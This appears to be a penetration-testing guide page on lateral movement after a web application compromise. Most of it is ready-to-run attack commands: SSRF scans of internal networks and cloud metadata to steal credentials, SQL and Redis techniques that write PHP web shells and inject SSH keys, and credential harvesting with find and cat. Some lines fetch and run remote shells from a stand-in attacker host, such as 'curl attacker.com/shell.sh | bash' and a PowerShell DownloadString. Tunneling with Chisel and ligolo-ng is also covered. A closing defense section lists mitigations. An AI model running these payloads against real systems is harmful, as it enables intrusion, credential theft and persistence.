Lateral Movement
Leverage web application vulnerabilities to pivot into internal networks, access backend services, and expand your foothold beyond the initial compromise.
Scope & Authorization Gate
High Impact Activity
Frameworks: CWE-269 · T1021, T1572, T1550
Web App Lateral Movement Vectors
Tools & Resources
ligolo-ng
Advanced pivoting with TUN
go install github.com/nicocha30/ligolo-ng/cmd/proxy@latest
GitHub →
SSRF-Based Internal Network Access
Internal Network Enumeration
# Use SSRF to scan internal networks
# Common internal IP ranges to test
# Localhost services
http://127.0.0.1:PORT
http://localhost:PORT
http://[::1]:PORT
# Private IP ranges
http://10.0.0.1-254:PORT
http://172.16.0.1-254:PORT
http://192.168.0.1-254:PORT
# Common internal ports to scan via SSRF
ports=(22 80 443 3306 5432 6379 27017 9200 8080 8443 9000)
for port in "${ports[@]}"; do
response=$(curl -s "https://vulnerable.com/fetch?url=http://192.168.1.1:$port")
if [[ ! "$response" =~ "error" ]]; then
echo "[+] Port $port appears open"
fi
done
# AWS/Cloud metadata endpoints
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
# GCP metadata
http://metadata.google.internal/computeMetadata/v1/
# Azure metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01Cloud Metadata Exploitation
# AWS metadata access via SSRF
# Instance credentials
curl "https://vuln.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Returns role name, e.g., "web-app-role"
curl "https://vuln.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"
# Returns AccessKeyId, SecretAccessKey, Token
# Configure AWS CLI with stolen credentials
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=xxx...
export AWS_SESSION_TOKEN=xxx...
# Enumerate AWS access
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances
# GCP metadata exploitation
# The Metadata-Flavor: Google header must be sent BY the vulnerable server
# to the metadata endpoint — a header on your own curl only reaches vuln.com.
# This example passes it through the SSRF's header-forwarding option; if the
# SSRF accepts only a URL, smuggle it via CRLF, e.g.
# url=http://metadata.google.internal/...%0d%0aMetadata-Flavor:%20Google
curl -G "https://vuln.com/fetch" --data-urlencode "url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" --data-urlencode "headers=Metadata-Flavor: Google"
# Access GCP service account token
# Use token to access GCP APIs
# Azure Instance Metadata Service (IMDS)
# Same rule: the mandatory "Metadata: true" header must travel inside the
# SSRF-issued request, never on your client-facing curl. api-version kept
# consistent with the enumeration call earlier on this page.
curl -G "https://vuln.com/fetch" --data-urlencode "url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" --data-urlencode "headers=Metadata: true"
# Access Azure ARM with stolen tokenInternal Service Exploitation
# Access internal Redis via SSRF
# Use gopher protocol for raw TCP
gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0ASET%0D%0A$3%0D%0Akey%0D%0A$5%0D%0Avalue%0D%0A
# Generate Redis payload with Gopherus
python gopherus.py --exploit redis
# Access internal Elasticsearch
curl "https://vuln.com/fetch?url=http://internal-es:9200/_cat/indices"
curl "https://vuln.com/fetch?url=http://internal-es:9200/_search?q=password"
# Internal MySQL via SSRF (gopher)
gopher://127.0.0.1:3306/_%a3%00%00...
# Access internal web applications
curl "https://vuln.com/fetch?url=http://admin.internal:8080/"
curl "https://vuln.com/fetch?url=http://jenkins.internal:8080/script"
# Internal Docker socket
curl "https://vuln.com/fetch?url=http://localhost:2375/containers/json"
curl "https://vuln.com/fetch?url=http://localhost:2375/images/json"
# Kubernetes API
curl "https://vuln.com/fetch?url=https://kubernetes.default.svc/api/v1/namespaces" \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"Database-Based Lateral Movement
SQL Injection to Internal Access
# MySQL - Read system files
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php'); -- Database credentials
# MySQL - Write web shell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
# MySQL - FEDERATED tables (MySQL has no linked-server/OPENQUERY concept)
-- Find FEDERATED tables defined on this server
SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.TABLES WHERE ENGINE='FEDERATED';
-- Inspect the FEDERATED table's remote target (baked into its CONNECTION string)
SHOW CREATE TABLE federated_table;
-- You cannot query an arbitrary "linked server": each FEDERATED table was
-- created locally with a CONNECTION= string pointing at the remote host.
# PostgreSQL - File read
COPY (SELECT '') TO PROGRAM 'curl attacker.com/shell.sh | bash';
CREATE TABLE output (data text);
COPY output FROM PROGRAM 'id';
SELECT * FROM output;
# PostgreSQL - Network access
CREATE EXTENSION IF NOT EXISTS dblink;
SELECT * FROM dblink('host=internal.server dbname=prod user=admin password=pass',
'SELECT * FROM users') AS t(id int, name text);
# MSSQL - Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
# MSSQL - Execute commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker/shell.ps1'')"';
# MSSQL - Enumerate and query linked servers
EXEC sp_linkedservers;
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT * FROM master..syslogins');NoSQL Database Pivoting
# MongoDB - Access other databases
use admin
db.adminCommand('listDatabases')
# Find credentials in other databases
use internal_app
db.users.find({role: 'admin'})
db.config.find({type: 'credentials'})
# MongoDB - Server-side JavaScript
db.eval('return process.env') -- Deprecated but may work
# Redis - Dump all keys for credentials
KEYS *
GET session:admin
GET config:database
GET api_key
# Redis - Write to filesystem
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x '<?php system($_GET["cmd"]); ?>'
BGSAVE
# Redis - SSH key injection
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET x "\n\nssh-rsa AAAA... attacker@host\n\n"
BGSAVE
# Elasticsearch - Dump sensitive indices
GET /_cat/indices?v
GET /users/_search?size=1000
GET /config/_search?q=passwordWeb Shell Based Tunneling
# Deploy a tunnelling web shell for a SOCKS proxy
# NOTE: the original reGeorg is Python 2-only and unmaintained — prefer
# Neo-reGeorg (below) on modern systems. Upload tunnel.php/aspx/jsp to target
# Connect with reGeorgSocksProxy
python reGeorgSocksProxy.py -p 9050 -u http://target.com/tunnel.php
# Configure proxychains
echo "socks5 127.0.0.1 9050" >> /etc/proxychains.conf
# Access internal network through tunnel
proxychains nmap -sT -p 22,80,443,3389 192.168.1.0/24
proxychains ssh admin@192.168.1.10
proxychains curl http://192.168.1.10:8080/
# Neo-reGeorg (improved version)
# Generate tunnel with password
python neoreg.py generate -k password123
# Upload tunnel.php to target
# Connect
python neoreg.py -k password123 -u http://target.com/tunnel.php
# pwncat for web shell access
# Creates interactive session with file transfer
pwncat-cs -c "connect -t webshell http://target.com/shell.php --arg cmd"
# Chisel for HTTP tunneling
# On attacker (server mode)
./chisel server -p 8000 --reverse
# Through web shell or RCE
./chisel client attacker:8000 R:socks
# Access internal network
proxychains curl http://internal.server/Kubernetes/Container Lateral Movement
# From compromised container, enumerate Kubernetes
# Check for service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Set up kubectl with service account
APISERVER=https://kubernetes.default.svc
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# List pods
curl -s --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/default/pods
# List secrets
curl -s --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/default/secrets
# Exec into other pods (if permitted)
kubectl exec -it other-pod -- /bin/bash
# Access other namespaces
curl -s --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces
# Container escape via hostPath mount
# If container has privileged access or hostPath mounts
# Access host filesystem
ls -la /host-root/etc/passwd
# Escape via Docker socket (if mounted)
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -it --rm -v /:/host alpine chroot /hostInternal API Discovery and Exploitation
# Discover internal APIs through SSRF
# Common internal service names
services=(
"api" "api-internal" "internal-api"
"admin" "admin-api" "management"
"auth" "auth-service" "identity"
"db" "database" "mysql" "postgres"
"redis" "cache" "memcached"
"elasticsearch" "es" "search"
"rabbitmq" "kafka" "queue"
"jenkins" "gitlab" "github"
"vault" "secrets" "config"
)
for svc in "${services[@]}"; do
echo "[*] Testing: $svc"
curl -s "https://vuln.com/fetch?url=http://$svc/" | head -5
curl -s "https://vuln.com/fetch?url=http://$svc.internal/" | head -5
curl -s "https://vuln.com/fetch?url=http://$svc.local/" | head -5
done
# Kubernetes service discovery
# Services available as: service-name.namespace.svc.cluster.local
curl "https://vuln.com/fetch?url=http://backend-api.production.svc.cluster.local/"
# Internal GraphQL endpoint discovery
curl "https://vuln.com/fetch?url=http://internal-api/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name } } }"}'
# Internal admin interfaces
internal_panels=(
"/admin" "/admin/" "/administrator"
"/manage" "/management" "/console"
"/actuator" "/actuator/health" "/actuator/env"
"/debug" "/debug/pprof" "/_debug"
"/metrics" "/prometheus" "/healthz"
)
for panel in "${internal_panels[@]}"; do
curl -s "https://vuln.com/fetch?url=http://internal-api$panel"
doneCredential Harvesting for Lateral Movement
# Find credentials in web application
# Environment variables
cat /proc/self/environ | tr '\0' '\n' | grep -iE 'pass|key|secret|token|api'
# Configuration files
find / -name "*.conf" -o -name "*.config" -o -name "*.yml" -o -name "*.yaml" \
-o -name "*.json" -o -name "*.env" 2>/dev/null | \
xargs grep -l -iE 'password|secret|key|token' 2>/dev/null
# Common credential locations
cat /var/www/html/.env
cat /var/www/html/config/database.yml
cat /var/www/html/wp-config.php
cat /opt/app/application.properties
# AWS credentials
cat ~/.aws/credentials
cat /root/.aws/credentials
# GCP credentials
cat ~/.config/gcloud/credentials.db
cat ~/.config/gcloud/application_default_credentials.json
# Azure credentials
cat ~/.azure/msal_token_cache.json
# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
# Database connection strings
grep -r "jdbc:" /var/www/ 2>/dev/null
grep -r "mongodb://" /var/www/ 2>/dev/null
grep -r "mysql://" /var/www/ 2>/dev/null
# Git credentials
cat ~/.git-credentials
cat ~/.gitconfigNetwork Pivoting Setup
# Set up SSH tunnel from compromised web server
# If SSH access gained through credential harvesting
# Local port forward (access internal service from attacker)
ssh -L 9999:internal.server:80 user@compromised.com
# Access http://localhost:9999 to reach internal.server:80
# Dynamic port forward (SOCKS proxy)
ssh -D 9050 user@compromised.com
proxychains curl http://internal.server/
# Remote port forward (expose attacker service to internal network)
ssh -R 8080:localhost:80 user@compromised.com
# Internal users can access attacker's service on compromised.com:8080
# Chisel tunneling (if SSH not available)
# Attacker machine (server)
./chisel server -p 8000 --reverse
# Compromised server (client)
./chisel client attacker:8000 R:9050:socks
# ligolo-ng for advanced pivoting
# Attacker (proxy server)
./proxy -selfcert
# Compromised machine (agent)
./agent -connect attacker:11601 -ignore-cert
# In ligolo console
session # Select session
ifconfig # View network interfaces
start # Start tunneling
# Access internal network directly through TUN interface
ping 192.168.1.1
nmap -sT 192.168.1.0/24Lateral Movement Testing Checklist
SSRF Pivoting
- ☐ Internal IP ranges scanned
- ☐ Cloud metadata endpoints tested
- ☐ Internal services enumerated
- ☐ Gopher protocol tested for raw TCP
- ☐ DNS rebinding attempted
Database Pivoting
- ☐ File read capabilities tested
- ☐ OS command execution attempted
- ☐ Linked servers enumerated
- ☐ Database credentials extracted
- ☐ Write access to web root tested
Cloud Pivoting
- ☐ AWS metadata credentials stolen
- ☐ IAM role permissions enumerated
- ☐ GCP/Azure metadata accessed
- ☐ Service account tokens extracted
- ☐ Cross-account access tested
Tunneling
- ☐ SOCKS proxy established
- ☐ Web shell tunneling tested
- ☐ Internal network scanned
- ☐ Credential harvesting completed
- ☐ Access documented for cleanup
Practice Labs
PortSwigger SSRF Labs
Practice SSRF attacks including cloud metadata access
TryHackMe Pivoting
Learn network pivoting through compromised web apps
Kubernetes Goat
Practice Kubernetes lateral movement and container escape
CloudGoat
AWS vulnerable by design for cloud lateral movement
Remediation & Defense
Lateral Movement Prevention
Network Segmentation
- • Segment internal networks to limit blast radius of SSRF
- • Restrict outbound connections from web servers (egress filtering)
- • Use network policies in Kubernetes to isolate pods
- • Block access to cloud metadata endpoints from application containers
Cloud Security
- • Use IMDSv2 (AWS) or equivalent token-based metadata access
- • Apply principle of least privilege to IAM roles and service accounts
- • Disable unnecessary cloud metadata endpoints
- • Monitor for unusual metadata API access patterns
Database Hardening
- • Use unique credentials per service/application
- • Restrict database permissions to minimum required
- • Disable dangerous functions (
xp_cmdshell,LOAD_FILE) - • Encrypt data at rest and in transit
Detection
- • Monitor internal traffic for anomalous connections between services
- • Alert on tunneling indicators (long-lived connections, DNS tunneling)
- • Track lateral authentication attempts and privilege use
- • Implement honeypots/honeytokens on internal services
CWE References: CWE-918 (SSRF), CWE-250 (Execution with Unnecessary Privileges), CWE-284 (Improper Access Control)